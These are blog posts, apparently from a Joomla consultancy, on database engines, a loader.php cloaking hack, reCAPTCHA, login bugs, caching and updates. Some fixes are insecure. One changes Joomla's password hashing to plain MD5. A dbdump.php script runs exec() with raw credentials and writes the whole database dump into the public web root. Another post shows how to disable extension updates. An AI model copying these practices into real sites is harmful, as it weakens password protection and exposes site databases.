  2. ACID implementation: ACID stands for Atomicity, Consistency, Isolation, Durability, and this is what InnoDB tables are about: Atomicity means that any action that is done on an InnoDB table is atomic, which means that that action will be reverted if it’s not completely done. Atomicity ensures Consistency of that particular table (many references try to explain Consistency as something different, but we think that it’s just a corollary of Atomicity). Isolation means that we can have concurrent writes seamlessly, and Durability means that any sever crash will not cause corruption in the tables. Again, Durability is a corollary of the other InnoDB properties.

So, why does Joomla still use MyISAM?

Joomla still uses MyISAM by default because, ahemmm, MyISAM is lighter and faster (we know that many Database administrators will disapprove of this statement), not in all conditions, but in most conditions. According to our experience, under normal operations, reads and writes are both significantly faster on MyISAM tables. Additionally, MyISAM tables allow for full-text search indexing, which is not possible in InnoDB tables because of their structure.

And how can a table be changed from MyISAM to InnoDB?

You can change (alter) the table type from InnoDB to MyISAM by executing the following query:

ALTER TABLE [your-table] ENGINE=INNODB;

So, if you want to change the tables #__assets and #__session from MyISAM to InnoDB, then you will need to execute the following queries (while in phpMyAdmin):

ALTER TABLE #__assets ENGINE=INNODB;

and

ALTER TABLE #__session ENGINE=INNODB;

(Of course, you will need to replace #__ with your table prefix.)

We don’t think it’s a good idea to change all tables from MyISAM to InnoDB, because this will cause performance issues on your Joomla website.

If your Joomla website is crashing because of database issues, then try implementing the above table change. If you still experience the same issue, then please contact us. We’ll investigate the issue for you and we’ll definitely find and implement a solution (and we won’t charge you much!).

Joomla 3.2.1 Hacked? It Might Be the “loader.php” File

We are recently getting a barrage of Joomla 3.2.1 websites that are hacked and need to be fixed. Obviously, someone cashed in on the recently announced vulnerability on Joomla 3.2.1, and fast! We are saying someone (and not some people), because 90% of those hacked websites have the exact same hack: the Google hack! (Or so we like to call it!)

In short, the website will display different content for Google than the one displayed for the users, and that’s why it’s so hard to discover! Eventually, Joomla administrators discover that their websites were hacked because they lose their search engine rankings! Not the best way to discover that a website has been hacked!

So, how can this hack be fixed?

You might be wondering, how come we are insisting on the someone, even though that particular hack can be done in many, many ways? Well, because for all these websites, the hack was done the exact same way: some malicious code was inserted at the beginning of the loader.php file, which is located under the /libraries/ folder. Fixing the hack consisted of simply removing that malicious code (the malicious code is obvious, and it starts before the standard Joomla comments for any particular file).

Is there a way to check if a 3.2.1 Joomla website is hacked before Google knows about it?

Here’s our little secret. We have installed a FireFox extension (on all our machines) called the User Agent Switcher, which allows us to view a website the way it’s seen by Googlebot. If you install this extension on your FireFox browser, you’ll be able to see it the same way Google sees it. We suggest that you do install it, and that you check your website at least once a day with the user agent switched to Googlebot 2.1. This will allow you to quickly discover the problem and fix it before even Google notices it!

If your Joomla 3.2.1 website is hacked, then try the above fix. If it didn’t work for you, then please contact us. We’ll fix the problem for you in no time and for a very reasonable fee!

reCAPTCHA Not Working on Your Joomla Website? Read This!

We were commissioned, earlier this week, to integrate reCAPTCHA with JComments on a website belonging to a super-major news company.

Large companies usually have 2 environments, one called dev (for development), and one called prod (for production). Our job was to make the reCAPTCHA work on the development environment, and then, once everything’s OK, move the work to production.

The website was using Joomla 2.5, so all that we needed to do was to set the private and public key in Joomla’s Captcha – ReCaptcha plugin, and then add the necessary code to the right places in JComments (we will explain how we did this in a later post). The reCAPTCHA worked (after a lot of code-struggling) on the development environment: it was displaying properly and it was submitting properly. In other words, when the captcha was wrong, the comment was not saved and the user was requested to re-enter the captcha. When the captcha was correct, it was submitting properly. After the testing was done, we decided to move this to the production server. We thought that everything is going to work smoothly there, right? Wrong!

When the work was moved to production, we all assumed that everything will function as it should, and, at first glance, it did, since the captcha was being displayed properly. However, when we tried to save the comment, the form took forever to submit and eventually an error message told us that the captcha was wrong (even though it was correct). Also, even when the submission was wrong, the form took forever to submit (well, not really forever, but, in our business, 30 seconds is forever)!

After a lot of hair-pulling, nail-biting, and advil-swallowing, we narrowed down the problem to the following line in the file recaptcha.php which is located under the plugins/captcha/recaptcha folder:

while (!feof($fs))

$fs (in case you didn’t have time to read that file), is a socket handle open to the Google’s reCAPTCHA website. So, the problem was that the application was not able to read from that socket. We thought that the problem was related to the PHP instance on the production environment (we suspected that allow_url_fopen was set to No), but, to our surprise, the php.ini file on production was identical to that on development. We then thought that it might be something in the .htaccess file, but again, both .htaccess files were identical (dev and prod).

We then changed the plugin to use curl (instead of fsockopen) to connect to the reCAPTCHA server, and while this worked on the development server, it still didn’t work on the production server. At this point, we became sure that the problem had to do with the firewall.

So, we informed the networking team of the problem, and they discovered the cause: The development environment was bypassing the proxy, while the production environment was running behind the proxy. We did a quick research on the problem, and it turned out that Google knows about this and already has a solution. In short, the networking team had to whitelist some IPs (Google IPs) on the firewall, and they did, and that fixed the problem! Hurray!

If you have problems with reCAPTCHA on your Joomla website, then feel free to contact us. We will fix those problems for a very affordable fee and in no time!

“Allow User Registration” Should Be Set to “No” By Default on Joomla

We get constant calls from clients telling us that their Joomla websites were hacked, that they are seeing, in the User Manager, new and suspicious users every day, although they don’t have any registration form on their websites.

We first comfort them by telling them that their websites are most likely not hacked and what they’re experiencing is pure spam. We then tell them that they don’t have to have a registration form on their websites for spammers to spam their User Manager. In fact, spammers do not even use a registration form even if it exists, they have some tools to register automatically, provided Allow User Registration is set to “Yes”, which is the default. So, what is that Allow User Registration?

The Allow User Registration is a Joomla setting (you can see this field by logging in to the backend, and then going to Users -> User Manager, and then clicking on the Options button on the top right, and finally clicking on the Component tab), that, when set to “Yes” (which is the default), will permit users to register through the website. In other words, Joomla’s own core will allow user registration when the value of this setting is “Yes”. Clearly, if your User Manager is getting spammed, and you don’t need to have people register on your website, then the best thing that you should do is to set its value to “No”.

Now, the question is, why is the Allow User Registration defaulted to “Yes”? We’re not exactly sure. We think that the Joomla developers assume that by enabling user registration by default they make the life of Joomla administrators easier if they want people to register on their websites. Maybe that’s their logic, but, in this day and age, where spammers and hackers are always searching for a weak Joomla website to spam or to attack, we think it’s a wiser move to disable user registration by default, and those who need this feature can enable it at will.

There you go, that’s our opinion about this whole issue. If your Joomla’s user manager is getting spammed and you don’t need people to register on your website, then disable user registration by setting the value of Allow User Registration to “No”. If, however, you want people to register, and you are getting many spam registrations, then please contact us. We can definitely fix this issue for you and we won’t charge you much!

“Username and password do not match or you do not have an account yet” Error – Cause and Fix

Yesterday evening we had a very interesting call from a new client. The new client told us that when trying to login to the frontend of his Joomla website, he’s always greeted with the following error message:

“Username and password do not match or you do not have an account yet”

He told us that he just migrated his website from Joomla 1.5 to Joomla 2.5, and he’s not able to login with any of his frontend users, even after resetting their passwords from the backend.

So, we tested the website and indeed, were were not able to login to the frontend even after resetting the password from the backend. We disabled SEF, we disabled caching, we disabled all 3rd party plugins, yet we still had the same problem.

We then thought, what if we reset the password from phpMyAdmin? So, we logged in to to phpMyAdmin and set the password of a random user in the #__users table to the MD5 equivalent of “password”. We then tried to login, and, to our surprise, the login worked!

So we compared that user’s password to another password, and we noticed that all the other users (that were not able to login), had a strong password. A strong password is a password that starts with $P$. For some reason, strong passwords were not working, and the reset functionality, as well as the user creation functionality, were generating strong passwords.

So, what did we do to fix the problem?

The fix was extremely easy, all we needed to do was to ensure that any password generation/reset uses the MD5 encryption. Here’s what we did in order for that to happen:

  • We opened the file helper.php located under the libraries/joomla/user folder.

  • We added the following line to the beginning of the hashPassword function in the aforementioned file:

    return md5($password);

  • We re-uploaded the file to its corresponding place.

  • The problem was solved.

We didn’t have enough time to investigate why strong passwords were not working (and why only MD5 encrypted passwords were working), but we suspect this has something to do with a wrong migration of the users’ data, as well as the presence of some legacy files from the old Joomla website. We’re really not sure on this one.

What we know, however, is that our fix worked! In case you have the same problem, then try the above quick fix and see if it works for you. If it doesn’t, well, all you need to do is to contact us. We’ll fix it for you in as little time as possible and for a very affordable fee.

Login to Joomla Administrator Not Working and No Error Is Displayed – Part II

OK – this post is Part II because we have discussed the same exact issue before – however, the cause of the issue was different then. In fact, we knew there must be other reasons for this problem to happen, and, unfortunately, we were not disappointed…

Earlier today a lady who has an apparel website called us and told us that she’s not able to login to her Joomla website with her usual password. So we reset her password, and we tried to login, but it didn’t work, and we didn’t see any error. Immediately we thought that the cause for this problem was the same to the one we had before, and so we checked whether all the plugins related to the login activity were enabled, and they were. Odd!

So we thought, maybe some of the files related to the login were corrupted, and so we overwrote all the client’s core Joomla files with copies from a fresh installation (we ensured, of course, that we were using the same version of Joomla, and we backed up the website before doing this). This didn’t work either…

So, we started debugging the Joomla website at a lower level. We printed, in the index.php file (that is under the administrator folder), the $_POST variable. We did this by adding the following line to the beginning of that file:

print_r($_POST);

We then tried to login, and, to our surprise, the $_POST array was empty. This means that the fields filled in in the login form where not transferred to the page that Joomla was submitting to. That was extremely odd. We have been working with PHP since the late 90s and we have never seen this before (well, $_POST was called $HTTP_POST_VARS back then, but still). We thought it was a problem with the website’s server, but after doing a quick test (e.g. uploading a self-submitting HTML form to another web accessible location on the server and making sure that the $_POST array is not empty), we were sure that the problem only existed on the website itself.

So what could make a website’s environment different from the rest of the server?

According to our experience, there are two files that can override the server’s settings (in a LAMP environment) at the website level:

  1. The .htaccess file.

  2. A local php.ini file.

The website didn’t have a php.ini file, but it had a weird .htaccess file. Here’s how it looked like:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^ourclientjoomlawebsite [NC]
RewriteRule ^(.*)$ http://www.ourclientjoomlawebsite/$1 [L,R=301]

Options +FollowSymLinks
RewriteCond %{THE_REQUEST} ^.*/index.php
RewriteRule ^(.*)index.php$ http://www.ourclientjoomlawebsite/$1 [R=301,L]

## ERROR PAGES
##
ErrorDocument 404 /404.html

Hmmmmmm! That’s not what a Joomla .htaccess file should look like. So we overwrote the .htaccess with a fresh copy from a clean Joomla installation (same version), and the problem was solved! It was as easy as that!

It literally took us hours to solve this problem – we hope that those of you who are reading this post (and who have this problem – if you’re reading this post just for fun then we’re flattered, but maybe you should consider finding another hobby! ) can solve it in under a minute. If you can’t, then feel free to contact us and we will solve your problem. Our fees are extremely affordable, our work is professional, and we are super friendly!

Joomla and PHP’s Drop of the MySQL Extension

There’s been a lot of talk lately that PHP is dumping the mysql extension from its core, and how that move will impact major Content Management Systems such as Joomla, WordPres, and Drupal.

First, let us explain, briefly, what this is all about…

PHP, in its current incarnation, has several built-in extensions (or libraries) that it can use to talk to a MySQL database. These extensions include, but are not limited to: mysql (ext/mysql), mysqli (ext/mysqli), and pdo_mysql (ext/mysql_pdo). All these libraries do the job, but the mysql (ext/mysql) library is the least performing of the bunch, it is also very insecure. See, the problem with this library is that it was written ages ago in PHP 4 to support MySQL 3, so it inherited the limitations (and insecurity) of both. In this day and age, when there are very few servers running PHP 4, and even fewer running MySQL 3 (actually there shouldn’t be any server on this planet running MySQL 3, but you never know), the use of this library is no longer necessary (note that Joomla needs at least PHP 5 and MySQL 5 to work), in fact, it is discouraged, and that’s why PHP deprecated the mysql extension in its 5.5 version (by the way, when an extension is deprecated, it still works, but any use of any function belonging to that extension will throw a deprecated notice).

PHP intends to remove its support of the mysql legacy library (access to the MySQL database will still be supported by the other libraries, of course) in the next few years. Unfortunately, this is not an easy move, because this move means that any PHP function that starts with mysql_ will throw a fatal error. Naturally, this will cause many websites out there to stop working. In fact, every single WordPress website will cease to work because WordPress still uses that old extension.

But what about Joomla?

The Joomla team thankfully did the right thing with the early adoption of the mysqli extension. In fact, Joomla uses the mysqli extension, by default, for all MySQL activities. This means that Joomla’s core will not be affected at all by PHP’s move to remove the legacy extension (unless, of course, you have forced the use of the mysql extension by going to Site -> Global Configuration -> Server and changing the value of Database Type under Database Settings to mysql) . However, there are some Joomla extensions that either access the database directly or through their own database layer – such extensions may be using the old mysql library. If this is the case, then these extensions need to be modified to use the mysqli extension.

And what about WordPress?

It seems that WordPress will start supporting the mysqli extension in its 3.9 version, in conjunction with the the old mysql extension. It is not clear on whether WordPress will use the mysqli library by default in its installation, but at least this is a move in the right direction.

And how about Drupal?

Drupal is very similar to Joomla in that regards. It currently supports both extensions and defaults to the mysqli extension.

Is that PHP move really necessary?

Unfortunately – it is – for both PHP and MySQL… MySQL is forced to preserve some legacy code for that library (or extension) to work, and that legacy code is causing some serious overhead for MySQL’s developers. This is more or less the same for PHP, which has to maintain an extension that should no longer be used.

We hope that this post clarified the issue. If you have a Joomla extension that is using the mysql extension, then fear not, we can modify the extension to make it work with the mysqli extension. All you need to do is to contact us and we’ll fix it in no time and at a very low cost!

The #1 Reason Why Companies Switch from Joomla to Drupal

We had a phone call earlier this week from a client telling us that the IT department of his company wants to move the website from Joomla to Drupal. The client was actually the CFO of the company, and he was having a hard time understanding the real reason to switch the website to another CMS, when the current website works!

The client told us that the answer coming from his IT department was something like: “Drupal is more secure”, “Drupal is more stable”, “Drupal is faster”, “Drupal can handle large amount of traffic”, “Drupal is used by many Fortune 500 companies”, etc…

The client wanted our opinion. So we asked the client, “How many visitors do you have per day?” He told us that they have about 3,000 visitors, “And how many pages the website has?”, we continued, “Approximately 2,000 pages are indexed by Google, and we add a blog post every week”, he replied. “That’s not a lot”, we said, and it certainly doesn’t justify moving to Drupal for “performance reasons”. In any case, even if your Joomla website reaches a point where it can no longer handle the traffic, then you can optimize it…

“OK”, the client said, “but Drupal is more secure, no?”. “Definitely not”, we said, “The reason why Joomla seems less secure than Drupal is because Joomla is used by many small businesses because of its simplicity and friendly interface, and these small businesses can’t afford to always update their websites to the latest version, run security checks on their websites, and control the security of the environment that their websites run on, and that’s why their websites get eventually hacked”.

“How about stability?”, the client asked. “Joomla is very stable.”, we answered, “Instability issues in Joomla are, nearly always, caused by some 3rd party extensions. This problem exists in Drupal as well, and in any other CMS, for that matter. It’s just that a Drupal website requires a team of professionals to maintain, and those professionals tend to fix the bugs on the fly. Most Joomla websites, on the other hand, are managed and maintained by a single person, who is typically non-technical.”

“Then why is Drupal used by these Fortune 500 companies?”, the client continued. “Because the IT department in these Fortune 500 companies decided that. But bear in mind that there are some Fortune 500 companies that also use Joomla such a Citigroup and Intel (we serve Intel at itoctopus)”.

“So why does my IT department want to move us to Drupal?”, the client asked us while sounding frustrated.

We didn’t answer. What should we tell him? Should we tell him that the majority of IT decisions out there are made to ensure the continuity and the prosperity of the IT department, and not that of the company? Should we tell him that his IT department wants to go with Drupal because it’ll ensure that the business part of the company will become increasingly dependent on the IT department? Should we tell him that Joomla is much easier to use than Drupal, and such a move will make updating the website a task that should always be assigned to IT, regardless of the update? Should we tell him that this move will definitely increase the IT overhead on the company, since Drupal needs much more maintenance than Joomla and Drupal consultants are paid nearly the double of what Joomla consultants get (because of Drupal’s complexity)?

We didn’t know what to say, because we might be wrong, it might be that there’s a reason, a valid reason, why his IT department is doing this move. We just couldn’t figure it out, and that’s what we told our client, we said, “We don’t know, at least we hope that we don’t know.”

If your company is switching from Joomla to Drupal or from Drupal to Joomla and you need a sound technical advice, then feel free to contact us, we’re always there to help you make the right decision. Note that our super affordable fees apply.

A Small Script to Create a Database Dump for a Joomla Website

We get occasional requests from customers who don’t have access to a phpMyAdmin instance asking us to backup their whole database. Since we, at itoctopus, want to make the life of every Joomla website administrator easier, we are releasing the code for doing this, for free, for anyone to use! The code is below:

<?php
	ini_set('max_execution_time', 3600);
	require('configuration.php');
	$config = new JConfig();
	$dbFile = md5(microtime()).'.sql';
	exec('mysqldump --user='.$config->user.' --password='.$config->password.' --host='.$config->host.' '.$config->db.' > '.$_SERVER['DOCUMENT_ROOT'].$dbFile);
	echo('<a href=http://'.$_SERVER['SERVER_NAME'].'/'.$dbFile.' download>Download Database Export File</a>');
?>

All you need to do is to place the above code in a file called dbdump.php and put that file under the root directory of your Joomla site. Once you do that, just point your browser to http://yourjoomlawebsite.com/dbdump.php and you’ll be presented with a link to download the database backup (please note that it might take some time for the link to appear).

Note that the dbdump.php file must be under the root directory of your website and must be at the same level of the configuration.php file. If your configuration.php file is stored elsewhere, then you will need to hardcode the database settings into the script.

Now, here’s a little FAQ on this script:

  • Will it work on all databases?

    No – it won’t. It’ll only work on MySQL (which is the database powering over 90% of Joomla websites anyway), this is because it uses the MySQL tool called mysqldump. Other RDBMS’s have similar tools, although not as easy to use. Contact us if you’re using another RDBMS (such as Oracle, MySQL, or PostgreSQL) and we’ll create the export script for you.

  • Is it reliable?

    Yes – it is very reliable and you will be able to replicate your current database based on this export.

  • Will it take a long time to execute?

    That depends on the size of your database and your server’s horsepower. For small websites, it can take less than a second to finish. For very larges sites, it might take an hour or more (note that you will need to modify max_execution_time in the script to a higher value if your database is quite large).

  • Will it work on all Joomla versions?

    The script will work on Joomla versions 1.5.x, 1.6.x, 1.7.x, 2.5.x, and 3.2.x (3.5 is not yet released at the time of publishing this article). It will not work out of the box on Joomla 1.0, but it will work if you hardcode the database information in the script (e.g. replace $config->user with the actual user, etc…).

  • Will it work on Windows?

    We have not tested the script on Windows, but theoretically it should. If it doesn’t, then a small modification to the script should make it work.

  • Will it always work in a LAMP environment?

    On some servers it won’t. This is because the script uses the exec function, which is a dangerous function that is blocked on some servers. In case you’re wondering, if this function is blocked then it is typically blocked in the php.ini file (there’s a disable_functions variable there that is used to block dangerous PHP functions).

  • Will we help in case you need help?

    Definitely! That’s why we’re here for! All you need to do is to contact us! Please note that our extremely affordable fees apply.

Disable Update of Certain Extensions in Joomla

Note: Please read this post entirely before taking any action.

We occasionally get some developers calling us and asking us how to exclude extensions from showing up on the Extensions -> Extension Manager -> Update page. They usually tell us that the reason they want to do this is to prevent their clients from accidentally updating an extension that they have modified (in other words, they don’t want their clients to overwrite the work that they did for them on these extensions). So, we tell them that this can be done easily, here’s how:

  1. Login to phpMyAdmin and select the database that serves the website.

  2. Click on the table #__update_sites. Take note of the update_site_id value of all the extensions that you do not want to display on the Update page.

  3. Go to the table #__update_sites_extensions and delete all the rows that have an update_site_id matching the above.

  4. Now, go back to the #__update_sites table and delete all the rows of all the extensions that you do not want to update.

  5. Once that is done, you should login to the backend of the Joomla site and go to Extensions -> Extension Manager -> Update, and then click on Purge Cache on the top right.

An alternative way of hiding those extensions from the Update page is to substitute steps #3 and #4 in the above list with the following:

  • Go to the table #__update_sites and change the value of the field enabled to 0 for those extensions that you do not want to display on the Update page.

Note that the alternative method may or may not work for you, depending on your Joomla version, but it’s worth trying, because if it doesn’t, then you are going to delete these rows anyway.

But, isn’t that a bad thing to do? What if an update is actually a security update?

We agree that removing the update functionality for certain extensions is not best practice and can lead to security issues on the website, but, in some cases, such updates can create problems as described here, so they should be disabled. Additionally, and as discussed in the beginning of this post, a programmer can make some modifications to a 3rd party extension and an update can cause these modifications to be overwritten.

If you need help disabling the update of a problematic Joomla extension, then please contact us. We’ll solve the problem quickly for you and we won’t charge you much!

Disqus Displaying All the Comments on All the Pages on Joomla

This past Friday, we had a customer calling in and telling us that he just integrated Disqus (the famous commenting platform) on his Joomla website, but for some reason, every time someone makes a comment on one page, it appears on all the other pages. In other words, all the Disqus comments for that website were being displayed on all pages. That website is in the top 10,000 websites in the world so you can imagine how much frustration this issue was causing (for both our customer and the site’s visitors). Needless to say, the issue had to be fixed – and had to be fixed fast!

We looked at the website and we immediately located the problem, the problem was happening because the JavaScript Disqus variables were the same on every page: every article had those same JavaScript values on every page:

var disqus_url = 'http://ourclientwebsite.com';
var disqus_identifier = '1234567890';

Disqus is clear in its documentation that the above values must be different on every page for the comments to appear properly.

So, what did we do to solve the problem?

The first step towards solving the problem was knowing which plugin was responsible for generating the Disqus code, and it wasn’t really hard to find, it was the Disqus Comments for Joomla! by JoomlaWorks. The code responsible for generating the Disqus code was in the file jw_disqus /plugins/content/jw_disqus/ folder. So, we opened up that file, and we changed the following 2 lines:

var disqus_url = '".$output->itemURL."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".$row->id."';

to:

var disqus_url = '".JURI::current()."';
var disqus_identifier = '".substr(md5($disqusSubDomain), 0, 10)."_id".md5(JURI::current())."';

That fixed the problem, but, shortly after, we discovered that there was another problem! Because the site allowed for URL duplication (this means that a page can have multiple URLs), which can be regarded as a feature or as an issue (we think it’s the latter because of the SEO implications), the above code did not work properly, because it is displaying the comments per URL, and not per page (this is because we’re using JURI::current() as the disqus_url), so, if someone makes a comment on a page, then the comment will only display on the URL that it was made on, and not on all the URLs pointing to that page (yes, we know, this is very confusing). It was a serious problem and we needed to resolve it.

So, how did we address the URL duplication issue?

Luckily, every URL on the site had the ID of the article it was pointing to in its last part, so, all we needed to do was to extract the ID from the URL, and create a fake but unique URL for every page, such as, http://ourclientwebsite/12345, where 12345 is the ID of the article. In order to do that, we added the following code to the jw_disqus.php file (the content plugin) just after line 201 ($output->disqusIdentifier…):

$arrCurrentURL = explode('/', JURI::current());
$lastCurrentURL = (int)$arrCurrentURL[count($arrCurrentURL) - 1];
if (!empty($lastCurrentURL))
	$strCurrentURL = JURI::root().$lastCurrentURL;
else
	$strCurrentURL = JURI::current();
$strCurrentURLHash = substr(md5($disqusSubDomain), 0, 10)."_id".md5($strCurrentURL);

We then changed the Disqus URL and identifier lines to the following:

var disqus_url = '".$strCurrentURL."';
var disqus_identifier = '".$strCurrentURLHash."';

We uploaded the file back and the issue was resolved!

If you have a problem with Disqus integration on your website, then please contact us. We are always an email or a call away, we don’t charge much, and you can rest assured that we will solve your problem in no time!

All Modules Suddenly Appearing on All Pages on Joomla

We got a call yesterday (well, technically, this morning) around 1:30 AM after midnight, it was a new client telling us that his Joomla website is completely messed up. He told us that all the modules are displaying on all the pages. We checked his website and we saw the problem: all published modules were appearing on all the pages, making the whole website look extremely weird.

In all fairness, we have been working on Joomla websites for a decade or so, and we have never, ever seen this problem. We were sure it was a plugin that was causing this problem, but we just didn’t know which one. The client’s website was a Joomla 2.5 website.

We went through all the 3rd party plugins and we noticed that the last plugin installed was the Advanced Module Manager plugin. We disabled this plugin and boom, the website is completely fixed! We were amazed since NoNumber, the Dutch development company that created that plugin, is known for its reliable extensions. In fact, that particular extension has a 5 star rating on Joomla’s JED (The Joomla Extensions Directory), which is extremely rare. Apparently, there was a huge bug in that extension that caused this problem. This means that with 3rd party extensions, you’re never really 100% safe.

Here are a few tips to follow when installing a 3rd party extension (especially when doing the install on mission critical websites) assuming you don’t have a development environment (if you have a development environment you can just do the install there and then port it to production):

  • Make sure you have immediate access to a developer before installing the extension. (We’re always available for help!).
  • Make sure you backup your website before installing the extension.

  • Check if the extension throws any errors when it’s installed. If it does, then don’t use the extension and contact your developer immediately.

  • Use the extension very carefully – especially when it’s a system plugin. Read the instructions and make sure that all the values of all the settings in that extension are correct.

  • If it’s a plugin, then enable it (and remain on the same page in the backend), and then go to your website and check if the everything works correctly and the plugin is doing what it should be doing. If it doesn’t, then disable it immediately and contact your developer.

Now, if you have the same problem on your Joomla website because of the Advanced Module Manager plugin (or because of any other plugin, for that matter), then please contact us. We can fix the problem for you in no time and for a very low cost. All you need to do is shoot us an email or give us a call (we always answer the phone!).

Joomla’s Media Manager Page Taking a Lot of Time to Load – How to Fix

We get constant calls from Joomla administrators telling us that their Media Manager page (the one accessible from the backend by going to Content -> Media Manager) takes an awfully long time to fully load. We then ask them, “how many images do you have under the main images folder?”, and the answer ranges from “a few hundred” to a “few thousand” pictures. “That’s exactly the reason why the Media Manager is slow”, we tell them, “you just have too many images under the root directory of the images folder”. “Why would that be a problem?”, they ask. And so we start explaining…

You see, when you go to the Media Manager page, Joomla grabs all the images under the root directory of the images directory, and displays them as thumbnails in an iframe. Note that Joomla does not physically create thumbnails, it just grabs the image, and displays it in thumbnail dimensions. Now, this is OK when you have a few dozen images under the main images folder, but, when you have a few hundreds or a few thousands, and when the size of each image is a few megs, then that page will take ages to load properly, even with an extremely fast Internet connection, because you’ll be literally loading Gigabytes of data (a Gigabyte is a thousand Megabyte).

So, what is the solution to this problem?

The solution, moving forward, is to store images in nested directories, and ensure that no directory has more than 50 images. You can follow different methodologies to create those nested directories. The nested directories can have meaningful and related names such as: images/fruits/apples, or images/vegetables/tomatoes/cherry-tomatoes/. An even easier approach is to put all the images used on one page under one folder, which is the id of that page, for example, images/id/5 is a folder that contains all the images that are used on the page which id is 5. Yes, there will be some redundancy issues (the same image will be in two places if it’s used on 2 pages), but such issues have zero effect on the stability and the performance of the website (in other words, you don’t need to worry about these redundancy issues unless, of course, you have a limited amount of available diskspace on your server).

The above solutions are manual. An even better solution, if you have a very large website with many images, is automatic, and it requires some modifications to the way the media manager works. In short, everytime you upload an image to the media manager, the media manager must convert the title of that image appended to the current Unix Timestamp to the MD5 equivalent, and then store it under the folder images/A/AB/ where AB is the first two characters of the MD5 equivalent, and A is the first character of the MD5 equivalent. For example, for an image with an MD5 value of 2b93fbdf27d43547bec8794054c28e00, the storage folder should be images/2/2b. Of course, the media manager must tell the user the exact storage folder so that the user can correctly reference it in the article. Now, this method is very complicated, and it requires some serious modifications to how Joomla works, but it’s the ideal solution to balancing the image folders on Joomla.

We know, many of you will probably think that the second method is much better than this one, but the second method has a limitation: a Linux folder cannot have more than 32,768 folders in it, which means that you can only store images for 32,768 articles. If you reach a point where you have more than 32,768 articles on your Joomla site, then you’re in trouble! (Assuming, of course, each article contains at least one image.) Note: You can modify the second method to place several sub-folders under another sub-folder. For example, for articles having ids ranging from 1 to 100, you place their folders under a folder named 1, for articles having ids ranging from 101 to 200, you place them under a folder named 2, etc… This will allow you to accommodate over 3 million articles with images!

OK, now how to fix the already huge images directory?

You will need to develop a script that will loop through all your content items, and, for each content item, it’ll do the following:

  • Create a list of all local images (including their paths) used by that content item.
  • Generate the new path of the image (by following the second or the third method above; the first is not feasible by using a script).

  • Copy the image file from the old path to the new path.

  • Replace all references of the old image path with the new image path in the content item.

  • Save the content item.

Now, once the loop is done, then the script must delete all the images that were already copied. (The script must maintain an index of all the copied images.)

This method, of course, is not flawless, especially if external websites are referencing your images directly and you actually care about those sites (this is rare but it does happen). Naturally, there is a solution to this problem, but it is outside the scope of this post.

We hope that you have found this post to be useful. If you need help implementing any of the above techniques, or if you need further information, then you’re at the right place. Just contact us and we’ll definitely solve this problem for you. Please note that our affordable fees apply!

Don’t Update Everything on Your Joomla Website in One Shot!

We constantly get clients who tell us that their website crashed after they have updated it. “And what did you update exactly?”, we ask them, and they reply that they have updated everything! And that’s the cause of the problem!

Updating a Joomla website should never be done in one shot. The first thing that you should do is to update Joomla’s core (if you have a modified core, then check this guide on how to do it). Then, you should wait for a week or so, to make sure that your website is stable, and after that you should start with updating your 3rd party extensions (one by one – you should always wait at least a week before updating the next extension).

By following the above method, you will be able to rapidly solve problems resulting from an update on your Joomla website, instead of spending a lot of time guessing which update crashed the website. Unfortunately, many Joomla administrators mistakenly believe that it’s better to do all the updates at once, and thus fall into the trap of conflicting updates.

One the same note, another issue that we have noticed is that quite a few Joomla administrators rush to updating their websites the moment Joomla releases a new update. This is a practice that we do not recommend. Joomla administrators must wait at least a couple of weeks to perform the update, since some (official) Joomla updates can crash the website, even if that website doesn’t have a modified core! Additionally, even an official Joomla update can introduce some serious security issues that may compromise your site. It’s always better to wait for community feedback before updating.

If you updated all of your Joomla website in one shot and are now left with a broken website, then fear not. We will fix the problem for you in no time and for a very reasonable cost – all you need to do is to contact us!

Joomla’s Own Caching Must Be Fixed!

Note: This post is a rant. What you will read here is our opinion of Joomla’s cache. There won’t be any “silver bullet” for fixing caching in Joomla in this post.

There is one feature in Joomla that gives many Joomla administrators lots and lots of headaches. Can you guess what it is? Well, it’s caching! Caching is by far the most dreadful and most horrible feature in Joomla, and, for some reason, even after nearly a decade, Joomla can’t get it right. The majority of issues caused on Joomla sites are related to caching, and the problem is, caching is a necessary evil, especially for very large sites.

So, what exactly is the problem with caching in Joomla?

If you don’t know the answer to this question, then most likely you were fortunate enough not to have to use caching on your site. Lucky you! But for the rest of us, the problems with Joomla’s caching are too numerous, here’s some:

  • Missing modules: Some of the modules will suddenly disappear when you enable caching. The thing is, this issue is erratic: now you see that menu module on the top, now you don’t! Clearing the cache usually solves the problem but only for a short while.

  • Broken components: Quite a few components break when caching is enabled. For example, a website that we were working on yesterday had the AdAgency extension installed, and clicking on any ad directed the visitor to a page with no content (the page simply consisted of the template and the modules) on the Joomla website (it didn’t redirect to the actual website linked to from that ad).

  • Broken functionality: Many core and non-core features can break when caching is enabled. Such features include: logging in to the website from the frontend, searching the Joomla website, and adding items to your cart (if you’re using VirtueMart).

  • Broken template: If your template gets broken out of the blue and you have caching enabled, then the first thing that you’ll need to do is to clear your cache and see if that solves the problem. In 90% of the cases, it does (the other 10% of broken template issues are usually caused by a plugin or a module).

  • Broken JavaScript: Some extensions generate dynamic JavaScript code, and there’s a reason for that: the JavaScript code must be unique for each user for these extensions to work properly. If caching is enabled, then that JavaScript will no longer be dynamic, and most likely it’ll break.

  • Delay until your changes appear: Joomla’s own caching is notorious for not knowing when you post something new on your website (or make an update to an already existing content item). Really, how hard is it for Joomla to check the affected pages caused by your update and to re-cache them? Currently, Joomla administrators have to wait until Joomla clears its cache so that they can see their changes (some delete the cache entirely so that they can see it immediately – however, this strategy does not work well on large Joomla sites).

The list is really endless, but we’ll stop here. Joomla’s caching is, without doubt, a great idea implemented horribly.

But why doesn’t the Joomla team do anything about it?

Unfortunately, the Joomla team doesn’t seem to admit that there’s an issue with caching. In fact, the team blames the user (for not knowing how to use caching) and 3rd party extensions (for not integrating well with caching) for all the problems related to caching. “Caching works well, but you don’t know how to use it, or the 3rd party extensions installed on your website don’t support it well.”

So that’s it? There’s no solution to this problem?

One solution to this problem is to use an alternative. There are some 3rd party caching extensions that seem to work much better than Joomla’s own caching and that give you control over what should be cached and what shouldn’t. These extensions are not flawless, but they work much better than Joomla’s own caching, which is, to say the least, a bit shameful.

The other solution is for the Joomla team to fix caching, to make it work properly and intelligently, and to give users more control over it. This, however, requires that the Joomla team admits there’s an actual problem with the core caching in the first place, which will probably never happen.

If you have a problem with caching in Joomla, then fear not, we’ll be able to fix it for you. Just contact us and we’ll work on your website until the problem is fixed. Note that our super affordable fees apply!

